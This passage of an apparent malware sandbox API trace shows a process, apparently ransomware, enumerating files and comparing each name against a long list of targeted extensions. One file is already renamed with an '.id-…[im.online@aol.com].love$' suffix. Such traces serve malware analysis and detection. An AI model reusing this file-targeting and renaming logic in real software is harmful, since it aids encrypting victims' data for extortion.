lpString2=".rtf") returned -1 [0100.684] lstrlenW (lpString=".pm") returned 3 [0100.684] lstrcmpiW (lpString1=".pm", lpString2="rtf") returned -1 [0100.684] lstrlenW (lpString=".png") returned 4 [0100.684] lstrcmpiW (lpString1=".png", lpString2=".rtf") returned -1 [0100.684] lstrlenW (lpString=".pnm") returned 4 [0100.684] lstrcmpiW (lpString1=".pnm", lpString2=".rtf") returned -1 [0100.684] lstrlenW (lpString=".pot") returned 4 [0100.684] lstrcmpiW (lpString1=".pot", lpString2=".rtf") returned -1 [0100.684] lstrlenW (lpString=".potm") returned 5 [0100.684] lstrcmpiW (lpString1=".potm", lpString2="a.rtf") returned -1 [0100.684] lstrlenW (lpString=".potx") returned 5 [0100.685] lstrcmpiW (lpString1=".potx", lpString2="a.rtf") returned -1 [0100.685] lstrlenW (lpString=".ppa") returned 4 [0100.685] lstrcmpiW (lpString1=".ppa", lpString2=".rtf") returned -1 [0100.685] lstrlenW (lpString=".ppam") returned 5 [0100.685] lstrcmpiW (lpString1=".ppam", lpString2="a.rtf") returned -1 [0100.685] lstrlenW (lpString=".ppm") returned 4 [0100.685] lstrcmpiW (lpString1=".ppm", lpString2=".rtf") returned -1 [0100.685] lstrlenW (lpString=".pps") returned 4 [0100.685] lstrcmpiW (lpString1=".pps", lpString2=".rtf") returned -1 [0100.685] lstrlenW (lpString=".ppsm") returned 5 [0100.685] lstrcmpiW (lpString1=".ppsm", lpString2="a.rtf") returned -1 [0100.685] lstrlenW (lpString=".ppt") returned 4 [0100.685] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0100.685] lstrlenW (lpString=".pptm") returned 5 [0100.685] lstrcmpiW (lpString1=".pptm", lpString2="a.rtf") returned -1 [0100.685] lstrlenW (lpString=".pptx") returned 5 [0100.685] lstrcmpiW (lpString1=".pptx", lpString2="a.rtf") returned -1 [0100.685] lstrlenW (lpString=".prn") returned 4 [0100.685] lstrcmpiW (lpString1=".prn", lpString2=".rtf") returned -1 [0100.685] lstrlenW (lpString=".ps") returned 3 [0100.685] lstrcmpiW (lpString1=".ps", lpString2="rtf") returned -1 [0100.685] lstrlenW (lpString=".psb") returned 4 [0100.685] lstrcmpiW (lpString1=".psb", lpString2=".rtf") returned -1 [0100.685] lstrlenW (lpString=".psd") returned 4 [0100.685] lstrcmpiW (lpString1=".psd", lpString2=".rtf") returned -1 [0100.685] lstrlenW (lpString=".pst") returned 4 [0100.685] lstrcmpiW (lpString1=".pst", lpString2=".rtf") returned -1 [0100.685] lstrlenW (lpString=".ptx") returned 4 [0100.686] lstrcmpiW (lpString1=".ptx", lpString2=".rtf") returned -1 [0100.686] lstrlenW (lpString=".pub") returned 4 [0100.686] lstrcmpiW (lpString1=".pub", lpString2=".rtf") returned -1 [0100.686] lstrlenW (lpString=".pwm") returned 4 [0100.686] lstrcmpiW (lpString1=".pwm", lpString2=".rtf") returned -1 [0100.686] lstrlenW (lpString=".pxr") returned 4 [0100.686] lstrcmpiW (lpString1=".pxr", lpString2=".rtf") returned -1 [0100.686] lstrlenW (lpString=".py") returned 3 [0100.686] lstrcmpiW (lpString1=".py", lpString2="rtf") returned -1 [0100.686] lstrlenW (lpString=".qt") returned 3 [0100.686] lstrcmpiW (lpString1=".qt", lpString2="rtf") returned -1 [0100.686] lstrlenW (lpString=".r3d") returned 4 [0100.686] lstrcmpiW (lpString1=".r3d", lpString2=".rtf") returned -1 [0100.686] lstrlenW (lpString=".raf") returned 4 [0100.686] lstrcmpiW (lpString1=".raf", lpString2=".rtf") returned -1 [0100.686] lstrlenW (lpString=".rar") returned 4 [0100.686] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0100.686] FindNextFileW (in: hFindFile=0x3e50840, lpFindFileData=0x349f800 | out: lpFindFileData=0x349f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x10a82, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0100.686] FindNextFileW (in: hFindFile=0x3e50840, lpFindFileData=0x349f800 | out: lpFindFileData=0x349f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa750251a, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa750251a, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa7659958, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x3e58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPR~1.LOV")) returned 1 [0100.687] FindNextFileW (in: hFindFile=0x3e50840, lpFindFileData=0x349f800 | out: lpFindFileData=0x349f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa750251a, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa750251a, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa7659958, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x3e58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPR~1.LOV")) returned 0 [0100.687] FindClose (in: hFindFile=0x3e50840 | out: hFindFile=0x3e50840) returned 1 [0100.687] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x38c1270 | out: hHeap=0x4b0000) returned 1 [0100.687] FindNextFileW (in: hFindFile=0x3e50580, lpFindFileData=0x349fa7c | out: lpFindFileData=0x349fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1042", cAlternateFileName="")) returned 1 [0100.687] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x38c1270 [0100.687] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042") returned 26 [0100.687] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1042\\*", lpFindFileData=0x349f800 | out: lpFindFileData=0x349f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xa767fccb, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3e500c0 [0100.687] FindNextFileW (in: hFindFile=0x3e500c0, lpFindFileData=0x349f800 | out: lpFindFileData=0x349f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xa767fccb, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.687] FindNextFileW (in: hFindFile=0x3e500c0, lpFindFileData=0x349f800 | out: lpFindFileData=0x349f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x318f, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0100.688] lstrlenW (lpString="eula.rtf") returned 8 [0100.688] lstrlenW (lpString=".1cd") returned 4 [0100.688] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0100.688] lstrlenW (lpString=".3ds") returned 4 [0100.688] lstrcmpiW (lpString1=".3ds", lpString2=".rtf") returned -1 [0100.688] lstrlenW (lpString=".3fr") returned 4 [0100.688] lstrcmpiW (lpString1=".3fr", lpString2=".rtf") returned -1 [0100.688] lstrlenW (lpString=".3g2") returned 4 [0100.688] lstrcmpiW (lpString1=".3g2", lpString2=".rtf") returned -1 [0100.688] lstrlenW (lpString=".3gp") returned 4 [0100.688] lstrcmpiW (lpString1=".3gp", lpString2=".rtf") returned -1 [0100.688] lstrlenW (lpString=".7z") returned 3 [0100.688] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0100.688] lstrlenW (lpString=".accda") returned 6 [0100.688] lstrcmpiW (lpString1=".accda", lpString2="la.rtf") returned -1 [0100.688] lstrlenW (lpString=".accdb") returned 6 [0100.688] lstrcmpiW (lpString1=".accdb", lpString2="la.rtf") returned -1 [0100.688] lstrlenW (lpString=".accdc") returned 6 [0100.688] lstrcmpiW (lpString1=".accdc", lpString2="la.rtf") returned -1 [0100.688] lstrlenW (lpString=".accde") returned 6 [0100.688] lstrcmpiW (lpString1=".accde", lpString2="la.rtf") returned -1 [0100.688] lstrlenW (lpString=".accdt") returned 6 [0100.688] lstrcmpiW (lpString1=".accdt", lpString2="la.rtf") returned -1 [0100.688] lstrlenW (lpString=".accdw") returned 6 [0100.688] lstrcmpiW (lpString1=".accdw", lpString2="la.rtf") returned -1 [0100.688] lstrlenW (lpString=".adb") returned 4 [0100.689] lstrcmpiW (lpString1=".adb", lpString2=".rtf") returned -1 [0100.689] lstrlenW (lpString=".adp") returned 4 [0100.689] lstrcmpiW (lpString1=".adp", lpString2=".rtf") returned -1 [0100.689] lstrlenW (lpString=".ai") returned 3 [0100.689] lstrcmpiW (lpString1=".ai", lpString2="rtf") returned -1 [0100.689] lstrlenW (lpString=".ai3") returned 4 [0100.689] lstrcmpiW (lpString1=".ai3", lpString2=".rtf") returned -1 [0100.689] lstrlenW (lpString=".ai4") returned 4 [0100.689] lstrcmpiW (lpString1=".ai4", lpString2=".rtf") returned -1 [0100.689] lstrlenW (lpString=".ai5") returned 4 [0100.689] lstrcmpiW (lpString1=".ai5", lpString2=".rtf") returned -1 [0100.689] lstrlenW (lpString=".ai6") returned 4 [0100.689] lstrcmpiW (lpString1=".ai6", lpString2=".rtf") returned -1 [0100.689] lstrlenW (lpString=".ai7") returned 4 [0100.689] lstrcmpiW (lpString1=".ai7", lpString2=".rtf") returned -1 [0100.689] lstrlenW (lpString=".ai8") returned 4 [0100.689] lstrcmpiW (lpString1=".ai8", lpString2=".rtf") returned -1 [0100.689] lstrlenW (lpString=".anim") returned 5 [0100.689] lstrcmpiW (lpString1=".anim", lpString2="a.rtf") returned -1 [0100.689] lstrlenW (lpString=".arw") returned 4 [0100.689] lstrcmpiW (lpString1=".arw", lpString2=".rtf") returned -1 [0100.689] lstrlenW (lpString=".as") returned 3 [0100.689] lstrcmpiW (lpString1=".as", lpString2="rtf") returned -1 [0100.689] lstrlenW (lpString=".asa") returned 4 [0100.689] lstrcmpiW (lpString1=".asa", lpString2=".rtf") returned -1 [0100.689] lstrlenW (lpString=".asc") returned 4 [0100.689] lstrcmpiW (lpString1=".asc", lpString2=".rtf") returned -1 [0100.689] lstrlenW (lpString=".ascx") returned 5 [0100.690] lstrcmpiW (lpString1=".ascx", lpString2="a.rtf") returned -1 [0100.690] lstrlenW (lpString=".asm") returned 4 [0100.690] lstrcmpiW (lpString1=".asm", lpString2=".rtf") returned -1 [0100.690] lstrlenW (lpString=".asmx") returned 5 [0100.690] lstrcmpiW (lpString1=".asmx", lpString2="a.rtf") returned -1 [0100.690] lstrlenW (lpString=".asp") returned 4 [0100.690] lstrcmpiW (lpString1=".asp", lpString2=".rtf") returned -1 [0100.690] lstrlenW (lpString=".aspx") returned 5 [0100.690] lstrcmpiW (lpString1=".aspx", lpString2="a.rtf") returned -1 [0100.690] lstrlenW (lpString=".asr") returned 4 [0100.690] lstrcmpiW (lpString1=".asr", lpString2=".rtf") returned -1 [0100.690] lstrlenW (lpString=".asx") returned 4 [0100.690] lstrcmpiW (lpString1=".asx", lpString2=".rtf") returned -1 [0100.690] lstrlenW (lpString=".avi") returned 4 [0100.690] lstrcmpiW (lpString1=".avi", lpString2=".rtf") returned -1 [0100.690] lstrlenW (lpString=".avs") returned 4 [0100.690] lstrcmpiW (lpString1=".avs", lpString2=".rtf") returned -1 [0100.690] lstrlenW (lpString=".backup") returned 7 [0100.690] lstrcmpiW (lpString1=".backup", lpString2="ula.rtf") returned -1 [0100.690] lstrlenW (lpString=".bak") returned 4 [0100.690] lstrcmpiW (lpString1=".bak", lpString2=".rtf") returned -1 [0100.690] lstrlenW (lpString=".bay") returned 4 [0100.690] lstrcmpiW (lpString1=".bay", lpString2=".rtf") returned -1 [0100.690] lstrlenW (lpString=".bd") returned 3 [0100.690] lstrcmpiW (lpString1=".bd", lpString2="rtf") returned -1 [0100.690] lstrlenW (lpString=".bin") returned 4 [0100.690] lstrcmpiW (lpString1=".bin", lpString2=".rtf") returned -1 [0100.690] lstrlenW (lpString=".bmp") returned 4 [0100.691] lstrcmpiW (lpString1=".bmp", lpString2=".rtf") returned -1 [0100.691] lstrlenW (lpString=".bz2") returned 4 [0100.691] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0100.691] lstrlenW (lpString=".c") returned 2 [0100.691] lstrcmpiW (lpString1=".c", lpString2="tf") returned -1 [0100.691] lstrlenW (lpString=".cdr") returned 4 [0100.691] lstrcmpiW (lpString1=".cdr", lpString2=".rtf") returned -1 [0100.691] lstrlenW (lpString=".cer") returned 4 [0100.691] lstrcmpiW (lpString1=".cer", lpString2=".rtf") returned -1 [0100.691] lstrlenW (lpString=".cf") returned 3 [0100.691] lstrcmpiW (lpString1=".cf", lpString2="rtf") returned -1 [0100.691] lstrlenW (lpString=".cfc") returned 4 [0100.691] lstrcmpiW (lpString1=".cfc", lpString2=".rtf") returned -1 [0100.691] lstrlenW (lpString=".cfm") returned 4 [0100.691] lstrcmpiW (lpString1=".cfm", lpString2=".rtf") returned -1 [0100.691] lstrlenW (lpString=".cfml") returned 5 [0100.691] lstrcmpiW (lpString1=".cfml", lpString2="a.rtf") returned -1 [0100.691] lstrlenW (lpString=".cfu") returned 4 [0100.691] lstrcmpiW (lpString1=".cfu", lpString2=".rtf") returned -1 [0100.691] lstrlenW (lpString=".chm") returned 4 [0100.691] lstrcmpiW (lpString1=".chm", lpString2=".rtf") returned -1 [0100.691] lstrlenW (lpString=".cin") returned 4 [0100.691] lstrcmpiW (lpString1=".cin", lpString2=".rtf") returned -1 [0100.691] lstrlenW (lpString=".class") returned 6 [0100.691] lstrcmpiW (lpString1=".class", lpString2="la.rtf") returned -1 [0100.691] lstrlenW (lpString=".clx") returned 4 [0100.691] lstrcmpiW (lpString1=".clx", lpString2=".rtf") returned -1 [0100.691] lstrlenW (lpString=".config") returned 7 [0100.692] lstrcmpiW (lpString1=".config", lpString2="ula.rtf") returned -1 [0100.692] lstrlenW (lpString=".cpp") returned 4 [0100.692] lstrcmpiW (lpString1=".cpp", lpString2=".rtf") returned -1 [0100.692] lstrlenW (lpString=".cr2") returned 4 [0100.692] lstrcmpiW (lpString1=".cr2", lpString2=".rtf") returned -1 [0100.692] lstrlenW (lpString=".crt") returned 4 [0100.692] lstrcmpiW (lpString1=".crt", lpString2=".rtf") returned -1 [0100.692] lstrlenW (lpString=".crw") returned 4 [0100.692] lstrcmpiW (lpString1=".crw", lpString2=".rtf") returned -1 [0100.692] lstrlenW (lpString=".cs") returned 3 [0100.692] lstrcmpiW (lpString1=".cs", lpString2="rtf") returned -1 [0100.692] lstrlenW (lpString=".css") returned 4 [0100.692] lstrcmpiW (lpString1=".css", lpString2=".rtf") returned -1 [0100.692] lstrlenW (lpString=".csv") returned 4 [0100.692] lstrcmpiW (lpString1=".csv", lpString2=".rtf") returned -1 [0100.692] lstrlenW (lpString=".cub") returned 4 [0100.692] lstrcmpiW (lpString1=".cub", lpString2=".rtf") returned -1 [0100.692] lstrlenW (lpString=".dae") returned 4 [0100.692] lstrcmpiW (lpString1=".dae", lpString2=".rtf") returned -1 [0100.692] lstrlenW (lpString=".dat") returned 4 [0100.692] lstrcmpiW (lpString1=".dat", lpString2=".rtf") returned -1 [0100.692] lstrlenW (lpString=".db") returned 3 [0100.692] lstrcmpiW (lpString1=".db", lpString2="rtf") returned -1 [0100.692] lstrlenW (lpString=".dbf") returned 4 [0100.692] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0100.692] lstrlenW (lpString=".dbx") returned 4 [0100.692] lstrcmpiW (lpString1=".dbx", lpString2=".rtf") returned -1 [0100.692] lstrlenW (lpString=".dc3") returned 4 [0100.693] lstrcmpiW (lpString1=".dc3", lpString2=".rtf") returned -1 [0100.693] lstrlenW (lpString=".dcm") returned 4 [0100.693] lstrcmpiW (lpString1=".dcm", lpString2=".rtf") returned -1 [0100.693] lstrlenW (lpString=".dcr") returned 4 [0100.693] lstrcmpiW (lpString1=".dcr", lpString2=".rtf") returned -1 [0100.693] lstrlenW (lpString=".der") returned 4 [0100.693] lstrcmpiW (lpString1=".der", lpString2=".rtf") returned -1 [0100.693] lstrlenW (lpString=".dib") returned 4 [0100.693] lstrcmpiW (lpString1=".dib", lpString2=".rtf") returned -1 [0100.693] lstrlenW (lpString=".dic") returned 4 [0100.693] lstrcmpiW (lpString1=".dic", lpString2=".rtf") returned -1 [0100.693] lstrlenW (lpString=".dif") returned 4 [0100.693] lstrcmpiW (lpString1=".dif", lpString2=".rtf") returned -1 [0100.693] lstrlenW (lpString=".divx") returned 5 [0100.693] lstrcmpiW (lpString1=".divx", lpString2="a.rtf") returned -1 [0100.693] lstrlenW (lpString=".djvu") returned 5 [0100.693] lstrcmpiW (lpString1=".djvu", lpString2="a.rtf") returned -1 [0100.693] lstrlenW (lpString=".dng") returned 4 [0100.693] lstrcmpiW (lpString1=".dng", lpString2=".rtf") returned -1 [0100.693] lstrlenW (lpString=".doc") returned 4 [0100.693] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0100.693] lstrlenW (lpString=".docm") returned 5 [0100.693] lstrcmpiW (lpString1=".docm", lpString2="a.rtf") returned -1 [0100.693] lstrlenW (lpString=".docx") returned 5 [0100.693] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0100.693] lstrlenW (lpString=".dot") returned 4 [0100.693] lstrcmpiW (lpString1=".dot", lpString2=".rtf") returned -1 [0100.693] lstrlenW (lpString=".dotm") returned 5 [0100.693] lstrcmpiW (lpString1=".dotm", lpString2="a.rtf") returned -1 [0100.694] lstrlenW (lpString=".dotx") returned 5 [0100.694] lstrcmpiW (lpString1=".dotx", lpString2="a.rtf") returned -1 [0100.694] lstrlenW (lpString=".dpx") returned 4 [0100.694] lstrcmpiW (lpString1=".dpx", lpString2=".rtf") returned -1 [0100.694] lstrlenW (lpString=".dqy") returned 4 [0100.694] lstrcmpiW (lpString1=".dqy", lpString2=".rtf") returned -1 [0100.694] lstrlenW (lpString=".dsn") returned 4 [0100.694] lstrcmpiW (lpString1=".dsn", lpString2=".rtf") returned -1 [0100.694] lstrlenW (lpString=".dt") returned 3 [0100.694] lstrcmpiW (lpString1=".dt", lpString2="rtf") returned -1 [0100.694] lstrlenW (lpString=".dtd") returned 4 [0100.694] lstrcmpiW (lpString1=".dtd", lpString2=".rtf") returned -1 [0100.694] lstrlenW (lpString=".dwg") returned 4 [0100.694] lstrcmpiW (lpString1=".dwg", lpString2=".rtf") returned -1 [0100.694] lstrlenW (lpString=".dwt") returned 4 [0100.694] lstrcmpiW (lpString1=".dwt", lpString2=".rtf") returned -1 [0100.694] lstrlenW (lpString=".dx") returned 3 [0100.694] lstrcmpiW (lpString1=".dx", lpString2="rtf") returned -1 [0100.694] lstrlenW (lpString=".dxf") returned 4 [0100.694] lstrcmpiW (lpString1=".dxf", lpString2=".rtf") returned -1 [0100.694] lstrlenW (lpString=".edml") returned 5 [0100.694] lstrcmpiW (lpString1=".edml", lpString2="a.rtf") returned -1 [0100.694] lstrlenW (lpString=".efd") returned 4 [0100.694] lstrcmpiW (lpString1=".efd", lpString2=".rtf") returned -1 [0100.694] lstrlenW (lpString=".elf") returned 4 [0100.694] lstrcmpiW (lpString1=".elf", lpString2=".rtf") returned -1 [0100.694] lstrlenW (lpString=".emf") returned 4 [0100.694] lstrcmpiW (lpString1=".emf", lpString2=".rtf") returned -1 [0100.694] lstrlenW (lpString=".emz") returned 4 [0100.695] lstrcmpiW (lpString1=".emz", lpString2=".rtf") returned -1 [0100.695] lstrlenW (lpString=".epf") returned 4 [0100.695] lstrcmpiW (lpString1=".epf", lpString2=".rtf") returned -1 [0100.695] lstrlenW (lpString=".eps") returned 4 [0100.695] lstrcmpiW (lpString1=".eps", lpString2=".rtf") returned -1 [0100.695] lstrlenW (lpString=".epsf") returned 5 [0100.695] lstrcmpiW (lpString1=".epsf", lpString2="a.rtf") returned -1 [0100.695] lstrlenW (lpString=".epsp") returned 5 [0100.695] lstrcmpiW (lpString1=".epsp", lpString2="a.rtf") returned -1 [0100.695] lstrlenW (lpString=".erf") returned 4 [0100.695] lstrcmpiW (lpString1=".erf", lpString2=".rtf") returned -1 [0100.695] lstrlenW (lpString=".exr") returned 4 [0100.695] lstrcmpiW (lpString1=".exr", lpString2=".rtf") returned -1 [0100.695] lstrlenW (lpString=".f4v") returned 4 [0100.695] lstrcmpiW (lpString1=".f4v", lpString2=".rtf") returned -1 [0100.695] lstrlenW (lpString=".fido") returned 5 [0100.695] lstrcmpiW (lpString1=".fido", lpString2="a.rtf") returned -1 [0100.695] lstrlenW (lpString=".flm") returned 4 [0100.695] lstrcmpiW (lpString1=".flm", lpString2=".rtf") returned -1 [0100.695] lstrlenW (lpString=".flv") returned 4 [0100.695] lstrcmpiW (lpString1=".flv", lpString2=".rtf") returned -1 [0100.695] lstrlenW (lpString=".frm") returned 4 [0100.695] lstrcmpiW (lpString1=".frm", lpString2=".rtf") returned -1 [0100.695] lstrlenW (lpString=".fxg") returned 4 [0100.695] lstrcmpiW (lpString1=".fxg", lpString2=".rtf") returned -1 [0100.695] lstrlenW (lpString=".geo") returned 4 [0100.695] lstrcmpiW (lpString1=".geo", lpString2=".rtf") returned -1 [0100.695] lstrlenW (lpString=".gif") returned 4 [0100.696] lstrcmpiW (lpString1=".gif", lpString2=".rtf") returned -1 [0100.696] lstrlenW (lpString=".grs") returned 4 [0100.696] lstrcmpiW (lpString1=".grs", lpString2=".rtf") returned -1 [0100.696] lstrlenW (lpString=".gz") returned 3 [0100.696] lstrcmpiW (lpString1=".gz", lpString2="rtf") returned -1 [0100.696] lstrlenW (lpString=".h") returned 2 [0100.696] lstrcmpiW (lpString1=".h", lpString2="tf") returned -1 [0100.696] lstrlenW (lpString=".hdr") returned 4 [0100.696] lstrcmpiW (lpString1=".hdr", lpString2=".rtf") returned -1 [0100.696] lstrlenW (lpString=".hpp") returned 4 [0100.696] lstrcmpiW (lpString1=".hpp", lpString2=".rtf") returned -1 [0100.696] lstrlenW (lpString=".hta") returned 4 [0100.696] lstrcmpiW (lpString1=".hta", lpString2=".rtf") returned -1 [0100.696] lstrlenW (lpString=".htc") returned 4 [0100.696] lstrcmpiW (lpString1=".htc", lpString2=".rtf") returned -1 [0100.696] lstrlenW (lpString=".htm") returned 4 [0100.696] lstrcmpiW (lpString1=".htm", lpString2=".rtf") returned -1 [0100.696] lstrlenW (lpString=".html") returned 5 [0100.696] lstrcmpiW (lpString1=".html", lpString2="a.rtf") returned -1 [0100.696] lstrlenW (lpString=".icb") returned 4 [0100.696] lstrcmpiW (lpString1=".icb", lpString2=".rtf") returned -1 [0100.696] lstrlenW (lpString=".ics") returned 4 [0100.696] lstrcmpiW (lpString1=".ics", lpString2=".rtf") returned -1 [0100.696] lstrlenW (lpString=".iff") returned 4 [0100.696] lstrcmpiW (lpString1=".iff", lpString2=".rtf") returned -1 [0100.696] lstrlenW (lpString=".inc") returned 4 [0100.696] lstrcmpiW (lpString1=".inc", lpString2=".rtf") returned -1 [0100.696] lstrlenW (lpString=".indd") returned 5 [0100.696] lstrcmpiW (lpString1=".indd", lpString2="a.rtf") returned -1 [0100.697] lstrlenW (lpString=".ini") returned 4 [0100.697] lstrcmpiW (lpString1=".ini", lpString2=".rtf") returned -1 [0100.697] lstrlenW (lpString=".iqy") returned 4 [0100.697] lstrcmpiW (lpString1=".iqy", lpString2=".rtf") returned -1 [0100.697] lstrlenW (lpString=".j2c") returned 4 [0100.697] lstrcmpiW (lpString1=".j2c", lpString2=".rtf") returned -1 [0100.697] lstrlenW (lpString=".j2k") returned 4 [0100.697] lstrcmpiW (lpString1=".j2k", lpString2=".rtf") returned -1 [0100.697] lstrlenW (lpString=".java") returned 5 [0100.697] lstrcmpiW (lpString1=".java", lpString2="a.rtf") returned -1 [0100.697] lstrlenW (lpString=".jp2") returned 4 [0100.697] lstrcmpiW (lpString1=".jp2", lpString2=".rtf") returned -1 [0100.976] lstrlenW (lpString=".jpc") returned 4 [0100.976] lstrcmpiW (lpString1=".jpc", lpString2=".rtf") returned -1 [0100.976] lstrlenW (lpString=".jpe") returned 4 [0100.976] lstrcmpiW (lpString1=".jpe", lpString2=".rtf") returned -1 [0100.976] lstrlenW (lpString=".jpeg") returned 5 [0100.976] lstrcmpiW (lpString1=".jpeg", lpString2="a.rtf") returned -1 [0100.976] lstrlenW (lpString=".jpf") returned 4 [0100.976] lstrcmpiW (lpString1=".jpf", lpString2=".rtf") returned -1 [0100.976] lstrlenW (lpString=".jpg") returned 4 [0100.976] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0100.976] lstrlenW (lpString=".jpx") returned 4 [0100.976] lstrcmpiW (lpString1=".jpx", lpString2=".rtf") returned -1 [0100.976] lstrlenW (lpString=".js") returned 3 [0100.976] lstrcmpiW (lpString1=".js", lpString2="rtf") returned -1 [0100.976] lstrlenW (lpString=".jsf") returned 4 [0100.976] lstrcmpiW (lpString1=".jsf", lpString2=".rtf") returned -1 [0100.976] lstrlenW (lpString=".json") returned 5 [0100.976] lstrcmpiW (lpString1=".json", lpString2="a.rtf") returned -1 [0100.976] lstrlenW (lpString=".jsp") returned 4 [0100.976] lstrcmpiW (lpString1=".jsp", lpString2=".rtf") returned -1 [0100.977] lstrlenW (lpString=".kdc") returned 4 [0100.977] lstrcmpiW (lpString1=".kdc", lpString2=".rtf") returned -1 [0100.977] lstrlenW (lpString=".kmz") returned 4 [0100.977] lstrcmpiW (lpString1=".kmz", lpString2=".rtf") returned -1 [0100.977] lstrlenW (lpString=".kwm") returned 4 [0100.977] lstrcmpiW (lpString1=".kwm", lpString2=".rtf") returned -1 [0100.977] lstrlenW (lpString=".lasso") returned 6 [0100.977] lstrcmpiW (lpString1=".lasso", lpString2="la.rtf") returned -1 [0100.977] lstrlenW (lpString=".lbi") returned 4 [0100.977] lstrcmpiW (lpString1=".lbi", lpString2=".rtf") returned -1 [0100.977] lstrlenW (lpString=".lgf") returned 4 [0100.977] lstrcmpiW (lpString1=".lgf", lpString2=".rtf") returned -1 [0100.977] lstrlenW (lpString=".lgp") returned 4 [0100.977] lstrcmpiW (lpString1=".lgp", lpString2=".rtf") returned -1 [0100.977] lstrlenW (lpString=".log") returned 4 [0100.977] lstrcmpiW (lpString1=".log", lpString2=".rtf") returned -1 [0100.977] lstrlenW (lpString=".m1v") returned 4 [0100.977] lstrcmpiW (lpString1=".m1v", lpString2=".rtf") returned -1 [0100.977] lstrlenW (lpString=".m4a") returned 4 [0100.977] lstrcmpiW (lpString1=".m4a", lpString2=".rtf") returned -1 [0100.977] lstrlenW (lpString=".m4v") returned 4 [0100.977] lstrcmpiW (lpString1=".m4v", lpString2=".rtf") returned -1 [0100.977] lstrlenW (lpString=".max") returned 4 [0100.977] lstrcmpiW (lpString1=".max", lpString2=".rtf") returned -1 [0100.977] lstrlenW (lpString=".md") returned 3 [0100.977] lstrcmpiW (lpString1=".md", lpString2="rtf") returned -1 [0100.977] lstrlenW (lpString=".mda") returned 4 [0100.977] lstrcmpiW (lpString1=".mda", lpString2=".rtf") returned -1 [0100.978] lstrlenW (lpString=".mdb") returned 4 [0100.978] lstrcmpiW (lpString1=".mdb", lpString2=".rtf") returned -1 [0100.978] lstrlenW (lpString=".mde") returned 4 [0100.978] lstrcmpiW (lpString1=".mde", lpString2=".rtf") returned -1 [0100.978] lstrlenW (lpString=".mdf") returned 4 [0100.978] lstrcmpiW (lpString1=".mdf", lpString2=".rtf") returned -1 [0100.978] lstrlenW (lpString=".mdw") returned 4 [0100.978] lstrcmpiW (lpString1=".mdw", lpString2=".rtf") returned -1 [0100.978] lstrlenW (lpString=".mef") returned 4 [0100.978] lstrcmpiW (lpString1=".mef", lpString2=".rtf") returned -1 [0100.978] lstrlenW (lpString=".mft") returned 4 